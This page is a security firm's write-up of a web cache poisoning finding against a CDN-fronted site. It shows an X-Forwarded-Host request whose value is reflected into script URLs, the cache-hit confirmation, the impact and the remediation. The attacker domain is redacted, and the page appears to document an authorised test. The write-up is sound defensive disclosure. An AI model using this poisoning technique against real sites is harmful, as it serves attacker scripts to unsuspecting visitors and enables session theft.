Skip to content
← Back to findings
July 2026HighCVSS 8.3Target: corporate site behind a CDN

Cache poisoning through a header left out of the cache key

The CDN left a header out of the cache key and the origin reflected it. One poisoned request then reached every visitor who came after.

  • CWE-349
  • Cache Poisoning
  • Unkeyed Input

Summary

The origin built the absolute URLs of its assets from a forwarding header sent by the client. The CDN did not include that header in the cache key: two requests differing only in that header were treated as identical.

An attacker could combine the two faults and leave a copy of the page in the cache, with its asset references pointing at a domain of their own. That copy was then served to every visitor reaching the node.

Technical details

The header was reflected in the response

The origin copied that value into the document’s absolute URLs without validating it:

Request and reflection
GET / HTTP/2
Host: [REDACTED]
X-Forwarded-Host: [CONTROLLED DOMAIN]
 
HTTP/2 200 OK
 
<script src="https://[CONTROLLED DOMAIN]/assets/app.js"></script>

The header was not part of the key

We confirmed that the response was stored and served to requests that no longer carried the header:

Cache key check
GET / HTTP/2            # without the header
 
HTTP/2 200 OK
X-Cache: HIT
Age: 47
 
<script src="https://[CONTROLLED DOMAIN]/assets/app.js"></script>
 
[!] The poisoned response is served to other visitors

Exposure window

The configured lifetime determined how many visitors received the poisoned version before it expired:

Cache headers on the resource
Cache-Control: public, max-age=600
Vary: Accept-Encoding      # the forwarding header is absent
 
[+] Ten minutes per node, per poisoning
[+] Renewable with a periodic request

We pointed the header at a domain the team owns, which served no files. The check ran on a single edge node agreed with the client. We purged the poisoned entry when we finished.

Impact behind the 8.3 rating

  • Scripts loaded from an attacker-controlled domain in any visitor’s browser on the affected node
  • Session theft from any authenticated user who loads the page
  • Spread across the node: one request reaches every visitor who arrives afterwards, until the entry expires
  • Brand impersonation: the poisoned page is served from the legitimate domain
  • Delayed detection: requests served from cache do not appear in the origin’s logs

Remediation

  • Do not build absolute URLs from client headers. Use the canonical address configured on the server.
  • Key the cache on every header that changes the response, or stop accepting those headers at the edge.
  • Reject unexpected forwarding headers at the CDN, before they reach the origin.
  • Declare Vary correctly for headers that legitimately differentiate responses.
  • Purge the cache after deploying the fix: entries that are already poisoned keep being served until they expire.

References

More write-ups

Check whether this vector affects your systems

Tell us which assets you want tested. We reply within 24 hours.

Request an auditCall